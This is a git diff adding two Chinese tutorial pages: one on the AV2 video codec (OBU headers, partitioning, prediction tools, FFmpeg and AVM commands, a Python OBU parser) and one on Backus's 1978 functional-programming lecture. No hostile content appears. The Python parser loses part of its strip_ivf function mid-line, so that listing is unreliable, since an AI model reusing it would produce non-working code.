**有损编码**:允许「看起来一样就行」——T 恤叠成卷、袜子塞进鞋里,体积骤降,但肉眼看不出差别。 +- **AV1**(上一代):已经是很会打包的收纳达人了,YouTube、Netflix 都在用。 +- **AV2 v1.0**(2026 年 5 月定稿):同一套打包哲学,但换了更聪明的折叠法——同样画质下,包裹再小约 **30%**;或者同样码率下,画质更清晰。 + +日常里你关心的其实是:**网速够不够、手机烫不烫、流量贵不贵**。码率每降 30%,CDN 账单、5G 流量、视频会议卡顿都会跟着改善。AV2 就是 AOMedia(开放媒体联盟)写给全世界的「新一代打包标准说明书」——正式名称是 **AV2 Bitstream & Decoding Process Specification v1.0.0**。 + +一句话:**在 AV1 的免版税路线上,用更强的块划分、预测和变换工具,把流媒体、广播、会议、AR/VR 的视频再压一档。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 标准名称 | AV2 Bitstream & Decoding Process Specification | +| 版本 | **v1.0.0**(Final,2026-05-28 发布) | +| 制定组织 | [Alliance for Open Media (AOMedia)](https://aomedia.org/) | +| 许可模式 | 免版税(royalty-free patent policy) | +| 前身 | AV1(2018 定稿,艾美奖获奖编解码器) | +| 官方站点 | [av2.aomedia.org](https://av2.aomedia.org/) | +| 参考软件 | **AVM**(AOMedia Video Model,`libavm`,v1.0.0 tag) | +| 高性能解码器(进行中) | **dav2d**(VideoLAN 主导) | +| 典型收益 | 相同主观质量下,码率约比 AV1 低 **30%**(4K/8K/VR 等场景) | +| 主要竞品 | VVC/H.266(有专利池,压缩效率相近但授权复杂) | + +AV2 开发自 2020 年前后启动,历时五年余,在 2026 年 5 月 28 日与 AVM 1.0.0 参考实现一同正式发布,取代 2026 年 1 月的 working draft v13。 + +--- + +## 核心架构:混合编码框架(与 AV1 同族,工具全面换代) + +AV2 仍采用经典 **混合视频编码(Hybrid Video Coding)** 流水线——和 H.264、HEVC、AV1 同一套路,但每个环节都有新工具: + +```text +原始帧 → [可选去噪/FGS 分析] + → 块划分(Partition) + → 帧内/帧间预测(Intra / Inter Prediction) + → 变换 + 量化(Transform & Quantization) + → 熵编码(Entropy Coding,算术编码) + → 环路滤波(Deblock、CDEF、LR 等) + → 重建帧 → [可选胶片颗粒合成 Film Grain] + → OBU 比特流 +``` + +解码器做上述过程的逆操作。规范文档定义的是:**比特流语法(Syntax)**、**语义(Semantics)** 和 **解码过程(Decoding Process)**——编码器有自由度,但输出必须能被符合规范的解码器正确解码。 + +--- + +## 核心概念 1:OBU — 比特流的「快递单」 + +AV2 把所有数据装进 **Open Bitstream Unit(OBU,开放比特流单元)**。每个 OBU 像一封快递:有**头部**(类型、层级 ID、扩展标志)和**载荷**(实际视频数据)。 + +v1.0 中常见的 OBU 类型包括: + +| OBU 类型 | 作用 | +|----------|------| +| `OBU_SEQUENCE_HEADER` | 序列级参数:分辨率、色度格式、工具开关 | +| `OBU_TEMPORAL_DELIMITER` | 时间层边界标记 | +| `OBU_FRAME_HEADER` / Tile Group | 帧头与瓦片数据 | +| `OBU_MSDO` | Multi-Stream Decoder Operation — 多子码流资源分配 | +| `OBU_MULTI_FRAME_HEADER` | 多帧头(复合/多视角场景) | +| `OBU_LAYER_CONFIGURATION_RECORD` | 层级配置记录 | +| `OBU_ATLAS_SEGMENT` | Atlas 段信息(多视角/VR 相关) | +| `OBU_FILM_GRAIN` | 胶片颗粒参数(与 AV1 类似,可后处理合成) | +| `OBU_METADATA_*` | 元数据(HDR、内容解释等) | + +**多层设计**:OBU 头可为 1 字节(仅时间层 ID)或 2 字节(含扩展层/嵌入层 ID)。不需要空间可扩展时,可省掉额外 signaling 开销。 + +规范第 5、6 节可在 [Syntax Browser](https://av2.aomedia.org/v1.0.0/syntax_browser.html) 左右对照查阅——左边语法结构,右边语义解释,适合实现者速查。 + +--- + +## 核心概念 2:块划分 — 从「切蛋糕」到「乐高积木」 + +### 扩展递归划分(ERP, Extended Recursive Partitioning) + +- 超块(Superblock)最大可到 **256×256**(AV1 为 128×128;也可选用 128×128)。 +- 递归细分至最小 **4×4**。 +- 新增 **扩展分区类型**(extended partition types)、**四向不均匀划分**(4-way uneven partitions)等,让编码器对复杂边缘(头发丝、栏杆、文字边缘)更贴合。 + +### 半解耦划分(SDP, Semi-Decoupled Partitioning) + +AV1 里亮度(Y)和色度(U/V)**共用同一棵划分树**。AV2 的 SDP 允许: + +- 大块时:亮度/色度仍共享划分(省比特); +- 小块时(最大到 64×64):亮度与色度**独立划分**——色度边缘与亮度边缘不一致时(常见!)不再被迫绑死。 + +类比:AV1 是「三件套西装必须同码」;AV2 允许「上衣 M 码、裤子 S 码」,更合身。 + +### 变换块划分(Transform Partition) + +AV2 **移除了 AV1 的递归变换划分**,对方块和矩形变换块使用**统一的划分类型集合**,简化了解码器分支,同时配合新的变换集(TX sets)提升效率。 + +--- + +## 核心概念 3:帧内预测 — 用「已画好的邻居」猜当前块 + +帧内预测只参考**当前帧**已重建的像素。AV2 在 AV1 基础上新增/增强了大量模式: + +| 工具 | 含义(零基础版) | +|------|------------------| +| **MRLS** | 多参考行选择:不只用最靠边一行邻居,可在多条参考线里挑最准的 | +| **AIMC** | 自适应帧内模式编码:根据邻居块常用模式,给「热门模式」更短的码字 | +| **IBP** | 帧内双预测:两个方向预测加权混合,像「两个角度同时猜」 | +| **ORIP** | 基于偏移的预测精修:用邻域重建样本微调预测 | +| **DIP** | 数据驱动帧内预测:用预训练矩阵从降采样邻居生成预测 | +| **CfL / MHCCP** | 色度从亮度预测:利用 Y 与 UV 的相关性省码率 | +| **IBC** | 帧内块拷贝:屏幕内容(PPT、代码、游戏 UI)直接「复制已解码区域」;v1.0 可与环路滤波**同时使用**(AV1 受限更多) | +| **Palette** | 调色板模式:适合颜色种类少的图形/UI | + +屏幕共享、视频会议里的幻灯片,IBC + 改进的 SCC 工具是刚需;这也是 AV2 强调「更好处理 screen content」的原因。 + +--- + +## 核心概念 4:帧间预测 — 用「过去的帧」猜运动 + +帧间预测在参考帧里找匹配块(运动估计),AV2 增强包括: + +- **TIP**(Temporal Interpolation Prediction)等时域工具; +- **扩展 Warp / 仿射模型**; +- **BAWP**、改进的 **Wedge** 分区; +- **RefMVBank**、**AMVR/AMVD** 等运动矢量编码优化; +- 最多 **16** 个参考帧(`NUM_REF_FRAMES`)。 + +此外还有 **Bridge Frame**、**SEF** 等特殊帧类型,服务随机访问和多流场景。 + +--- + +## 核心概念 5:多流、多视角与可扩展性 + +现代应用不只要「一路 1080p」: + +- **多分屏 / 多角度体育**:一个比特流里塞多路节目,机顶盒按能力只解其中一路; +- **立体 / VR**:左右眼或多 Atlas 拼接; +- **可扩展层级**:最多 **8 个嵌入层 + 31 个扩展层**(embedded / extended layers),嵌入式层之间可预测。 + +**MSDO OBU**(Multi-Stream Decoder Operation)可在比特流级别声明:总解码资源如何在多个子码流间分配(例如 2/3 给主视角、各 1/9 给三个辅视角)。这让「一个文件、多种终端能力」变得可标准化,而不是各家私有 mux 方案。 + +--- + +## 核心概念 6:档次(Profile)与生态节奏 + +v1.0 覆盖主流 8/10/12 bit、4:2:0/4:2:2/4:4:4 等组合;AOMedia 已启动 **12-bit 专业电影 / HDR Profile** 的后续项目。容器方面,**ISO BMFF 的 AV2 binding** 规范也在推进中。 + +硬件节奏可参考 AV1 历史: + +- AV1 规范:2018 年 3 月; +- 首批消费级硬解:约 2020 年(Intel Tiger Lake、NVIDIA RTX 30、AMD RX 6000); +- 硬编普及:约 2022 年。 + +AV2 很可能也要 **2–4 年** 才能在大规模消费硬件上铺开;2026 年 CES 上 VideoLAN 已用 **VLC 4.0 + dav2d** 在 MacBook Pro 上演示 AV2 软解。 + +--- + +## 代码示例 1:用 FFmpeg 探测 AV2 比特流(生态接入) + +FFmpeg 对 AV2 的支持随版本快速演进。定稿后典型工作流与 AV1 类似,只是 codec 名换成 `libav2` / `av2`(具体以你本地 `ffmpeg -codecs` 为准): + +```bash +# 查看本机是否已注册 AV2 解码器/编码器 +ffmpeg -hide_banner -codecs 2>/dev/null | rg -i 'av2|avm' + +# 将原始 YUV 用 AVM 参考编码器压缩(示例参数,需已编译 --enable-libavm) +ffmpeg -f rawvideo -pix_fmt yuv420p -s 1920x1080 -r 30 -i input.yuv \ + -c:v libaom-av2 -cpu-used 6 -crf 32 -b:v 0 \ + -tiles 2x2 -row-mt 1 \ + output.av2.ivf + +# 软解码并导出为 PNG 帧(验证解码器 conformance) +ffmpeg -c:v libdav2d -i output.av2.ivf -frames:v 1 preview.png + +# 用 ffprobe 查看流级元数据(codec_name、profile、level、像素格式) +ffprobe -v quiet -show_streams -select_streams v:0 output.av2.ivf +``` + +若 `libaom-av2` / `libdav2d` 尚未安装,可从 [AVM](https://gitlab.com/AOMediaCodec/avm) 与 [dav2d](https://code.videolan.org/videolan/dav2d) 源码构建,再链接进 FFmpeg。 + +**实践提示**:早期参考编码器 `cpu-used` 越大越快但效率越差;`-crf` 与 `-b:v` 二选一控制质量/码率,和 x264/AV1 习惯一致。 + +--- + +## 代码示例 2:解析 OBU 头部(教学用 Python) + +下面脚本演示如何从 IVF 封装的 AV2 裸流中**逐个读取 OBU 头**(简化版,仅用于理解规范 §5.3 的头部语法;生产环境请用 `libavm` 或 FFmpeg): + +```python +#!/usr/bin/env python3 +"""Minimal AV2 OBU header walker — educational only.""" +from __future__ import annotations +import struct +import sys + +# OBU type names from AV2 spec (subset) +OBU_NAMES = { + 1: "OBU_SEQUENCE_HEADER", + 2: "OBU_TEMPORAL_DELIMITER", + 3: "OBU_FRAME_HEADER", + 4: "OBU_TILE_GROUP", + 5: "OBU_METADATA", + 6: "OBU_FRAME", + 7: "OBU_REDUNDANT_FRAME_HEADER", + 8: "OBU_TILE_LIST", + 15: "OBU_PADDING", + # v1.0 extended types include MSDO, MULTI_FRAME_HEADER, etc. +} + +def leb128_read(buf: bytes, pos: int) -> tuple[int, int]: + """Read AOM-style LEB128 size field.""" + value, shift = 0, 0 + while pos < len(buf): + b = buf[pos] + pos += 1 + value |= (b & 0x7F) << shift + if not (b & 0x80): + return value, pos + shift += 7 + raise ValueError("truncated LEB128") + +def parse_obu_header(data: bytes, pos: int = 0) -> dict: + if pos >= len(data): + raise EOFError + b0 = data[pos] + pos += 1 + obu_type = (b0 >> 3) & 0x0F + extension = bool(b0 & 0x04) + has_size = bool(b0 & 0x02) + obu_tlayer_id = b0 & 0x01 # simplified; v1.0 has extended header paths + + header = { + "obu_type": obu_type, + "name": OBU_NAMES.get(obu_type, f"OBU_TYPE_{obu_type}"), + "extension": extension, + "has_size": has_size, + } + + if extension: + b1 = data[pos] + pos += 1 + header["obu_xlayer_id"] = b1 >> 4 + header["obu_mlayer_id"] = b1 & 0x0F + + payload_size = None + if has_size: + payload_size, pos = leb128_read(data, pos) + header["payload_size"] = payload_size + + header["header_end"] = pos + if payload_size is not None: + header["payload_end"] = pos + payload_size + return header + +def walk_obus(av2_payload: bytes, limit: int = 20) -> None: + pos = 0 + for i in range(limit): + if pos >= len(av2_payload): + break + h = parse_obu_header(av2_payload, pos) + print(f"[{i:02d}] {h['name']:28s} ext={h['extension']} " + f"size={h.get('payload_size', '?')}") + pos = h.get("payload_end", h["header_end"]) + +def strip_ivf(path: str) -> bytes: + """IVF: 32-byte file header + per-frame 12-byte header.""" + with open(path, "rb") as f: + magic = f.read(4) + if magic != b"DKIF": + return f.read() # assume raw OBU stream + f.read(28) # rest of IVF file header + chunks = [] + while True: + hdr = f.read(12) + if len(hdr) < 12: + break + size = struct.unpack(" 1 else "sample.av2.ivf" + walk_obus(strip_ivf(path)) +``` + +运行后你会看到比特流是一串 `SEQUENCE_HEADER → FRAME_HEADER → TILE_GROUP → …` 的 OBU 链——这正是播放器 demuxer 交给解码器的第一道工序。 + +--- + +## 代码示例 3:用 AVM 参考编码器做质量/码率扫点 + +做 codec 评估时,常用 **CRF 扫点**或 **固定 QP** 画 BD-Rate 曲线: + +```bash +# 假设已安装 avmenc / avmdec(AVM 构建产物) +for crf in 20 28 36 44; do + avmenc --codec=av2 -w 1920 -h 1080 --fps=30/1 --limit=300 \ + --cq-level=$crf --end-usage=q -o "out_${crf}.ivf" input.yuv + avmdec -o /dev/null "out_${crf}.ivf" # 验证可解码 +done + +# 用 vmaf / ssimulacra2 对比源与重建(需 ffmpeg 滤镜或独立工具) +ffmpeg -s 1920x1080 -pix_fmt yuv420p -i input.yuv -i decoded.yuv \ + -lavfi "[0:v][1:v]libvmaf=log_fmt=json:log_path=vmaf.json" -f null - +``` + +论文与 AOMedia 技术幻灯片(如 Andrey Norkin 的架构概述)报告:随机接入(random access)配置下,AV2 相对 AV1 约 **30%** 码率节省——你的实测会随内容类型(动画、体育、屏幕共享)大幅波动。 + +--- + +## AV2 vs AV1 vs VVC:怎么选? + +| 维度 | AV1 | AV2 v1.0 | VVC (H.266) | +|------|-----|----------|-------------| +| 专利 | 免版税 | 免版税 | 专利池(MC-IF、Sisvel 等) | +| 相对 HEVC 效率 | 基准一代 | 再省 ~30%(相对 AV1) | 与 AV2 大致同级 | +| 硬件普及(2026) | 已广泛 | 刚起步(软解为主) | 部分广播/高端设备 | +| 多流/VR | 基础 | 显著增强(MSDO、Atlas) | 有类似工具 | +| 屏幕内容 | 好 | 更好(IBC+滤波协同) | 好 | +| 实现复杂度 | 高 | 更高 | 最高 | + +**选型建议**: + +- **现在就要全平台硬解**:继续 AV1/HEVC,AV2 等待硬件。 +- **长视频平台/CDN 降本**:开始软解试点 + 云端转码实验,跟踪 GPU IP 路线图。 +- **专利敏感场景**(浏览器、开源播放器、初创公司):AV2 比 VVC 更友好。 +- **广播/机顶盒既有 VVC 授权**:可能双轨并存,类似当年 HEVC vs AV1。 + +注意:即使 AOMedia 声明免版税,第三方专利池(如 Sisvel 针对 AV1/AV2 的声明)在 2025–2026 年已是行业现实——上线前需做法务与 FTO(自由实施)评估,不能只看「royalty-free」四个字。 + +--- + +## 如何阅读 v1.0 规范(学习路径) + +1. **先读概述**:§1 Scope、§2 Terms、§3 Decoder model — 建立「解码器必须做什么」的全局图。 +2. **对照 Syntax Browser**:§5 Syntax + §6 Semantics,从 `sequence_header_obu()` 追起。 +3. **看参考代码**:AVM 的 `avmdec` / `avmenc` 与 §9 附加表(C header 查找表)交叉验证。 +4. **跑 conformance streams**:AOMedia 与 Allegro、HDR Nova 等提供的商用一致性码流包。 +5. **扩展阅读**:[Wikipedia AV2](https://en.wikipedia.org/wiki/AV2)、[Norkin AV2 架构概述](https://norkin.org/research/av2_overview/index.html)、AOMedia 新闻稿。 + +规范是 **Final Deliverable**(2026-05-28),working draft v13 已废止;实现请以 **v1.0.0** 为准。 + +--- + +## 踩过的坑(早期实现者经验) + +1. **把 v13 草稿当最终版**:v13 与 v1.0 在 OBU 扩展头、xlayer 上下文保存等细节上有差异,迁移时务必 diff 语法浏览器。 +2. **忽略 Operating Point**:多层级比特流里,`OperatingPointIdc` 决定当前解码器实例看哪些层;demuxer 丢 OBU 会导致「能解但花屏」。 +3. **IBC 与环路滤波顺序**:v1.0 允许 IBC 与 in-loop filter 协同,照搬 AV1「先 IBC 后滤波」的旧假设会编出 non-conformant 流。 +4. **只用 PSNR 评估**:AV2 的低码率工具集强烈依赖感知优化,应用 **VMAF / SSIMULACRA2** 或主观测试。 +5. **低估解码复杂度**:ERP + 大超块 + 多参考帧对嵌入式不友好;MSDO 资源分配是为「机顶盒只解一路」设计的,移动端仍可能需要转码。 + +--- + +## 小结 + +| 要点 | 一句话 | +|------|--------| +| 定位 | AV1 正统续作,免版税,2026-05-28 定稿 v1.0.0 | +| 收益 | 同画质码率约 ↓30%,更适合流媒体/会议/VR | +| 比特流 | OBU 容器;支持多流、多层级、Atlas | +| 关键技术 | ERP、SDP、增强 intra/inter、改进 IBC/SCC | +| 软件 | AVM 参考实现;dav2d 软解;FFmpeg 集成进行中 | +| 硬件 | 预计 2–4 年消费级普及,短期以云端/PC 软解为主 | + +AV2 不是「换一个文件扩展名」那么简单——它重新定义了块如何切、色度如何跟亮度分工、一个文件如何服务多路观众。作为学习者,先搞懂 **OBU → 序列头 → 帧头 → 瓦片 → 预测/变换/熵编** 这条解码主线,再按需深入 Syntax Browser,比从头到尾通读上千页 PDF 更高效。 + +--- + +## 参考链接 + +- [AV2 Specification 官网](https://av2.aomedia.org/) — v1.0.0 规范、PDF、Syntax Browser、附加表 +- [AV2 v1.0.0 在线规范全文](https://av2.aomedia.org/v1.0.0/index.html) +- [Wikipedia: AV2](https://en.wikipedia.org/wiki/AV2) +- [AOMedia 发布 AV2 新闻稿(2026-06)](https://aomedia.org/press%20releases/Alliance-for-Open-Media-Releases-AV2-Codec/) +- [Andrey Norkin — AV2 Video Codec Architecture Overview](https://norkin.org/research/av2_overview/index.html) +- [AVM 参考软件仓库](https://gitlab.com/AOMediaCodec/avm) +- [dav2d 解码器(VideoLAN)](https://code.videolan.org/videolan/dav2d) diff --git a/src/content/docs/papers/backus-fp-1978.md b/src/content/docs/papers/backus-fp-1978.md new file mode 100644 index 000000000..f2855e173 --- /dev/null +++ b/src/content/docs/papers/backus-fp-1978.md @@ -0,0 +1,257 @@ +--- +title: Can Programming Be Liberated from the von Neumann Style? — Backus 1978 函数式编程宣言 +来源: https://www.cs.cmu.edu/~crary/819-f09/Backus78.pdf +日期: 2026-06-13 +子分类: 类型与 PL 理论 +分类: 编程语言 +难度: 入门 +provenance: pipeline-v3 +--- + +## 是什么 + +1977 年,**John Backus** 在图灵奖演讲里问了一个后来影响半个多世纪的问题:**编程能不能从冯·诺依曼风格里解放出来?** 演讲全文以 *Can Programming Be Liberated from the von Neumann Style? A Functional Style and Its Algebra of Programs* 为题,发表于 *Communications of the ACM* 1978 年 8 月(Vol. 21, No. 8, pp. 613–641)。 + +Backus 是 **FORTRAN** 的主要设计者,也是 **BNF(巴科斯-瑙尔范式)** 里那个 B 的来源。这篇论文因此格外刺眼:不是局外人批评主流,而是「造了主流语言的人」在图灵奖讲台上说——**我们三十年来走的那条路,又胖又弱,而且可能走错了方向。** + +日常类比:想象你在装修厨房。冯·诺依曼式编程像**每次只搬一块瓷砖**穿过一条窄门(CPU 与内存之间的「冯·诺依曼瓶颈」),还要在门两边反复登记「这块砖放在第几行第几列」。你真正想表达的是「铺好一整面墙」,但语言和机器逼你整天琢磨**地址、循环变量、赋值语句**。Backus 提议的函数式风格则像**用预制模块拼墙**:transpose(转置)、map(逐元素应用)、reduce(折叠)这些「组合子」像标准卡扣,先把小模块扣在一起,再扣成大模块——你思考的是**数据变换的形状**,而不是「下一个字该写进哪个格子」。 + +论文不只是喊口号。它提出了一套假想语言 **FP(Functional Programming)**、一套可机械推导的 **程序代数(algebra of programs)**,以及一类叫 **AST(Applicative State Transition)** 的计算系统草图——把「有状态」和「无变量函数式」拆开,各取所长。 + +## 历史背景 + +| 时间 | 事件 | +|------|------| +| 1945 | 冯·诺依曼等人提出存储程序计算机架构 | +| 1954–1957 | Backus 领导 IBM 团队开发 FORTRAN | +| 1959 | Backus 在巴黎会议上首次用形式化记号描述语言语法(BNF 前身) | +| 1960 | 参与 ALGOL 60 设计 | +| 1977-10 | 西雅图 ACM 年会颁发图灵奖,Backus 发表演讲 | +| 1978-08 | 扩展版论文发表于 CACM | + +同一时期的相关脉络: + +- **结构化编程**(Dijkstra 的 `goto` 批判、Bohm-Jacopini 定理)在收拾**控制流**的混乱,但 Backus 认为这没碰到根子——**字逐字(word-at-a-time)+ 赋值** 才是病根。 +- **Lisp / λ 演算** 已是「应用式模型」,但 Backus 批评纯 Lisp 常被埋在带赋值、带状态的扩展里,且 λ 替换的「无限自由」不利于形成**少量固定组合子 + 代数定律** 的编程习惯。 +- **APL**(Iverson)被 Backus 视为「跳出字逐字」的重要一步,但仍困在「表达式世界 vs 语句世界」的分裂里。 + +## 为什么重要 + +不理解这篇 1978 年的长文,下面这些事很难放在同一张地图上: + +- 为什么后来 Haskell、Clojure、Scala 总爱谈 **map / fold / compose**,而不只是「没有 `for` 循环」 +- 为什么 **MapReduce** 的 `map` + `reduce` 名字直接来自 Backus 论文里的 **α(ApplyToAll)** 和 **/(Insert)** +- 为什么 **React** 早期宣传「声明式 UI」时,常被追溯到 FP 传统(数据流 + 组合),而不是 imperative DOM 修补 +- 为什么 PL 研究者会说 **「表达式有代数,语句没有」**——这是 Backus 对赋值语句分裂两个世界的经典诊断 +- 为什么 **数据流机、_reduction 机器_、某些 GPU 编程模型** 会被描述为「弱化冯·诺依曼瓶颈」——Backus 在文末明确把语言困境和**体系结构创新**绑在一起 + +更重要的是:**Backus 把「证明程序正确」从逻辑谓词世界拉回到「程序自己的代数」**——像解一元一次方程那样,在**同一种记号**里变形程序,而不是另起一套公理语义。 + +## 核心概念 + +### 1. 三类计算模型(粗分类) + +Backus 用四个维度给模型画像:**数学基础是否简洁、是否历史敏感(有存储)、语义是状态转移还是归约、程序是否利于人类推理**。 + +| 类别 | 例子 | 历史敏感? | 语义 | 程序清晰度 | +|------|------|------------|------|------------| +| 简单操作模型 | 图灵机 | 是 | 状态转移(状态极简) | 差 | +| **应用式模型** | λ 演算、纯 Lisp、**FP** | 否 | **归约**(无状态) | 好 | +| **冯·诺依曼模型** | 典型 CPU + C/Fortran/Java | 是 | 状态转移(状态复杂) | 中等 | + +函数式编程在 Backus 笔下首先是**应用式模型**里的一种**纪律化**风格:故意不用 λ 的任意抽象,而只用**固定组合子(functional forms)**。 + +### 2. 冯·诺依曼瓶颈与赋值语句 + +硬件上,CPU 与存储之间有一条一次只能传**一个字**的通道——Backus 称之为 **von Neumann bottleneck**。更糟的是,这条瓶颈变成了**思维瓶颈**:程序员被迫用循环 + 下标 + 赋值,**一次改存储器里一个词**,才能做出「向量内积」「矩阵乘」这种概念上一步的事。 + +**赋值语句**是语言侧的瓶颈: + +- 右边是**表达式世界**——有代数性质,算「值」 +- 左边及整条语句链是**语句世界**——围绕「改状态」,数学性质弱,结构化编程只能稍微收拾场面 + +两边分裂后,**表达式里的组合子**就算再强,也只能产出「一个字」,还得靠语句世界拼成整体结果。 + +### 3. 框架(framework)vs 可变部分(changeable parts) + +Algol 的 `for`、`while` 写死在语言**框架**里;用户自定义函数只是**可变部分**,表达力弱。Backus 梦想相反的结构:**极小框架 + 极强的可变部分**——可变部分靠**组合子**从旧函数拼出新函数,而不必改语言内核。 + +冯·诺依曼语言之所以框架臃肿,是因为**语义与状态紧密耦合**:每个特性都要写进状态转移规则,于是 manual 越写越厚(他讽刺 DoD 语言标准可能上千页)。 + +### 4. 组合子(functional forms / combining forms) + +FP 里函数都是 **object → object**,且 **⊥-preserving**(遇到未定义则传播未定义)。用组合子把函数粘起来,例如: + +| 记号 | 名称 | 含义(直观) | +|------|------|----------------| +| `f ∘ g` | composition | 先 `g` 后 `f` | +| `[f, g, …]` | construction | 对同一输入并行得到多个结果,组成序列 | +| `α f` | ApplyToAll | 对序列每个元素应用 `f` | +| `/ f` | Insert | 用二元运算 `f` 从左到右「折叠」序列 | +| `p → f, g` | condition | 谓词 `p` 为真用 `f`,否则 `g` | + +还有 `while`、`bu`(binary-to-unary)等。Backus 强调:组合子不是随手加的语法糖,而是**程序代数的运算符号**,要选那些**既有编程威力、又有漂亮代数定律** 的形式。 + +### 5. 名篇对比:内积(inner product) + +**冯·诺依曼风格**(Algol 味伪代码): + +```text +c := 0 +for i := 1 step 1 until n do + c := c + a[i] * b[i] +``` + +Backus 列举的缺陷:隐式状态、非层次、必须** mentally execute** 才能懂、按字重复、长度 `n` 写死在程序里、参数名绑死 `a`/`b`、下标与 `for` 等「家务代码」散落各处。 + +**FP 风格**(论文原式): + +```text +Def IP ≡ (/+) ∘ (α ×) ∘ trans +``` + +读法:对一对向量先 **transpose** 成逐元素对,再 **α ×** 逐对相乘,再 **/+** 用 `+` 折叠成标量。整个定义**无变量、无循环、无长度参数**,对任意等长向量即成立。 + +### 6. 程序代数(algebra of programs) + +变量不是整数 `x`,而是**程序本身**;运算不是 `+` `×`,而是 **∘、α、/** 等组合子。定律例子(论文中的风格): + +- **分配**:`distl ∘ [f, [g₁, …, gₙ]]` 与「对每个 `gᵢ` 先配对再并行」等价 +- **条件穿透组合**:`(p → f, g) ∘ h` 等价于 `p ∘ h → f ∘ h, g ∘ h` +- **递归展开定理**:对满足 `f ≡ p → g; Q(f)` 的递归定义,可展开成无限(或有限)层级的条件组合,从而**证明 `!` 就是阶乘** + +这意味着:**证明 = 代数变形**,不必离开 FP 记号去讲一阶逻辑。 + +### 7. AST:既要历史敏感,又不要字字改状态 + +纯 FP 无存储,做不了「先运行程序 A 再运行程序 B,B 能读到 A 写的磁盘」这类事。Backus 的 **Applicative State Transition(AST)** 系统折中: + +- 底层用应用式语言写程序 +- **一次重大计算只发生一次状态转移** +- 状态结构简单,转移规则简单 + +这是后来 **I/O monad、STM、Effect 系统、纯函数 + 边界副作用** 等思路的史前化石——当时只有草图,没有成熟实现。 + +## 实践案例 + +### 案例 1:用 Python 模拟 FP 内积(理解 `/` 与 `α`) + +现代语言里没有 Backus 的 `trans` 原语,但可以用「转置成逐对 + map + reduce」体会论文 §5.2 的求值过程。对向量 `a = [1,2,3]`、`b = [6,5,4]`: + +```python +from functools import reduce +import operator + +def inner_product(a, b): + # trans: 把 看成列向量对,逐元素配对 + pairs = list(zip(a, b)) # 等价于 α× 之前的结构 + products = [x * y for x, y in pairs] # α× + return reduce(operator.add, products, 0) # /+ + +assert inner_product([1, 2, 3], [6, 5, 4]) == 28 +``` + +论文手算轨迹正是:`trans` → 得到 `<<1,6>, <2,5>, <3,4>>` → 逐对 `×` → `fold +` → `28`。注意:**没有索引变量 `i`,没有累加器 `c` 的逐步突变**——三个概念步骤对应三个组合段。 + +若用 Haskell 更接近原文精神: + +```haskell +ip :: Num a => [a] -> [a] -> a +ip a b = foldr (+) 0 (zipWith (*) a b) +-- 概念上: foldr (+) 0 . map (uncurry (*)) . uncurry zip +-- 即 /+ ∘ α× ∘(配对) +``` + +### 案例 2:阶乘的 FP 定义与代数证明思路 + +论文 §11.3.1 用组合子写阶乘(无 `lambda`、无命名参数): + +```text +Def ! ≡ eq0 → 1; × ∘ [id, ! ∘ sub1] +Def eq0 ≡ eq ∘ [id, 0] +Def sub1 ≡ - ∘ [id, 1] +``` + +读法:若参数是 0 则返回 1;否则返回 `n * !(n-1)`——但全文**没有出现变量名 `n`**,只有 `id`、选择器和组合。 + +对 `!:2` 的求值(论文逐步展开): + +```text +!:2 +→ (eq0 → 1; × ∘ [id, ! ∘ sub1]):2 +→ eq0:2 为假,走 × 分支 +→ ×:<2, !:1> +→ ×:<2, 1> -- 因为 !:1 最终归约到 1 +→ 2 +``` + +**代数侧**:Backus 用递归定理把满足 `f ≡ eq0 → 1; × ∘ [id, f ∘ sub1]` 的 `f` 展开,证明它与数学阶乘一致——而不是对 `while` 循环做归纳。现代读者可以把这看成 **catamorphism / fold** 理论的先声:递归是组合子的**不动点**,证明是**展开定律**。 + +### 案例 3:矩阵乘也是「四段组合管道」 + +论文给出(读作从右向左应用): + +```text +Def MM ≡ (α α IP) ∘ (α distl) ∘ distr ∘ [1, trans ∘ 2] +``` + +没有三重 `for i, j, k`,而是:**构造参数对 → 分发 → 对每一行做 α → 每行内再做 α IP**。这是 Hughes 后来《Why Functional Programming Matters》里「拆 + 粘」的史前版本——Backus 用一行定义把「矩阵 = 行的序列」这一表示方式吃透。 + +## 冯·诺依曼语言为何「又胖又弱」 + +Backus 的批评可以收成一张检查表: + +1. **字逐字编程**继承自字逐字机器 +2. **语义与状态转移紧耦合** → 框架不得不巨大 +3. **表达式 / 语句分裂** → 组合子威力减半 +4. **命名与替换规则过重**(call-by-name/value、指针、下标)→ 阻碍无参数组合 +5. **缺乏可机械使用的代数** → 证明只能活在逻辑/公理语义里,与写程序的语言脱节 + +他不是说 Fortran/C **不能**写正确软件,而是说:**每加一层「时髦特性」(强类型、结构化控制)只是在肥胖躯体上打补丁,没有换骨架。** + +## 与今天的关系 + +| 当年概念 | 今日对应 | +|----------|----------| +| `α` ApplyToAll | `map`、SIMD、向量指令 | +| `/` Insert | `reduce` / `fold`、MapReduce、`sum()` | +| `∘` composition | 函数管道 `f . g`、`pipe`、方法链 | +| 程序代数 | 等价变换、fusion laws、`shortcut fusion` | +| 无变量函数 | 点自由风格、combinators、point-free Haskell | +| AST 系统 | `IO` Monad、纯函数 + 显式效应边界 | +| 冯·诺依曼瓶颈 | 内存墙、GPU 批量计算、数据流框架 | + +也要诚实看到局限:**Backus FP 从未成为工业主流语言**;λ 演算、类型论、Monad、范畴论接过了「可证明、可组合」的火炬。Hughes 1989 年说 Backus 的 FP「过于代数化,工业界看不懂」——但 **map/reduce 组合思想** 已经渗透进几乎每一门现代语言。 + +## 常见误解 + +**误解 1:「函数式 = 禁止赋值」** +Backus 反对的是**冯·诺依曼式赋值作为程序中心**,不是否认所有状态。AST 系统明确要**少量、清晰的状态转移**。 + +**误解 2:「Backus 否定他创造的 Fortran」** +他肯定 Fortran 的历史贡献,但认为 **von Neumann 语言家族** 已到达表达力边际,继续堆特性不如寻找新框架。 + +**误解 3:「FP 论文 = 没有递归」** +论文强调许多程序**非重复、非递归**地表达(如内积三步),但阶乘、矩阵乘仍用递归/组合不动点;关键是**证明靠代数展开**,不是靠盯着 `for` 循环脑补。 + +**误解 4:「结构化编程已经解决了问题」** +Dijkstra 收拾的是 **goto 和语句世界**;Backus 收拾的是 **赋值 + 字逐字 + 表达式/语句分裂**——互补,不是替代。 + +## 延伸阅读 + +- John Backus, *Can Programming Be Liberated from the von Neumann Style?*, CACM 1978 — 本文主来源 +- John Hughes, *Why Functional Programming Matters*, 1989 — 工业界更能读懂的 FP 模块化论证 +- Edsger W. Dijkstra, *Go To Statement Considered Harmful*, 1968 — 结构化编程同一时代的平行批判 +- Kenneth Iverson, APL 系列 